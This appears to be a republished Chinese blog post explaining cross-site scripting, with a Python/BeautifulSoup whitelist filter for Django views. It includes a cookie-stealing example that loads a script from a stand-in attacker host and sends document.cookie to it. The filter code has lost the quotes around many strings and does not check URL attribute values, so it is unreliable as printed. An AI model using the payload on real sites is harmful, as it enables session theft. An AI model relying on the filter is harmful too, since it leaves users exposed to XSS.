XSS攻击

Posted shenjianping

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS攻击相关的知识,希望对你有一定的参考价值。

一、什么是XSS攻击

  跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的Web 网站注册用户的浏览器内运行非法的 html 标签或 javascript 进行的一种攻击。动态创建的 HTML 部分有可能隐藏着安全漏洞。

  跨站脚本攻击可能造成以下影响:利用虚假输入表单骗取用户个人信息;利用脚本获取用户cookie,然后在用户不知情的情况下做出危害用户个人利益的行为。

例如:如下行为就可以窃取客户的cookie

#黑客脚本文件
<script src=http://hacker.jp/xss.js></script>

#黑客脚本文件内容,获取用户的cookie并发送至黑客网址
var content = escape(document.cookie);document.write("<img src=http://hacker.jp/?");
document.write(content);
document.write(">");

在web应用上执行黑客脚本文件就可以窃取到客户的cookie,并且当送到指定的黑客网址。

二、预防XSS攻击

XSS攻击存在的根本原因是对用户提交给Web Server端的内容没有进行充分的过滤,如果服务端对用户提交的一些不合法的参数和内容进行过滤,也就不易出现XSS攻击了。

预防XSS攻击思路:对用户提交的内容进行过滤,尤其是script标签,然后再将其存入到数据库中。

1、XSS过滤器

from bs4 import BeautifulSoup


class XSSFilter(object):
    __instance = None

    def __init__(self):
        """
        XSS白名单
        """
        self.valid_tags = {
            "font": [color, size, face, style],
            b: [],
            div: [],
            "span": [],
            "table": [
                border, cellspacing, cellpadding
            ],
            th: [
                colspan, rowspan
            ],
            td: [
                colspan, rowspan
            ],
            "a": [href, target, name],
            "img": [src, alt, title],
            p: [
                align
            ],
            "pre": [class],
            "hr": [class],
            strong: []
        }

    def __new__(cls, *args, **kwargs):
        """
        单例模式,保证每一个用户都使用一个对象(对象的初始化内容一样),这样节省占用空间
        :param cls:
        :param args:
        :param kwargs:
        :return:
        """
        if not cls.__instance:
            obj = object.__new__(cls, *args, **kwargs)
            cls.__instance = obj
        return cls.__instance

    def process(self, content):
        """
        对用户提交的内容进行过滤,然后再返回过滤后的字符串内容
        :param content: 
        :return: 
        """
        soup = BeautifulSoup(content, html.parser)
        # 遍历所有HTML标签
        for tag in soup.find_all(recursive=True):
            # 判断标签名是否在白名单中
            if tag.name not in self.valid_tags:
                tag.hidden = True
                if tag.name not in [html, body]:
                    tag.hidden = True
                    tag.clear()
                continue
            # 当前标签的所有属性白名单
            attr_rules = self.valid_tags[tag.name]
            keys = list(tag.attrs.keys())
            for key in keys:
                if key not in attr_rules:
                    del tag[key]
        
        return soup.decode()

2、使用

在需要使用的视图函数中进行使用上述实例中的process函数:

def add_book(request):
      if request.method == POST:
            ...
            #进行过滤
            content = XSSFilter().process(content)
            ...
         return redirect(/book/)

 

以上是关于XSS攻击的主要内容,如果未能解决你的问题,请参考以下文章

通过脚本片段绕过XSS防御

XSS 攻击实战

XSS攻击原理以及手段

xss攻击的危害都有哪些?

xss攻击

6.XSS攻击方式及防御措施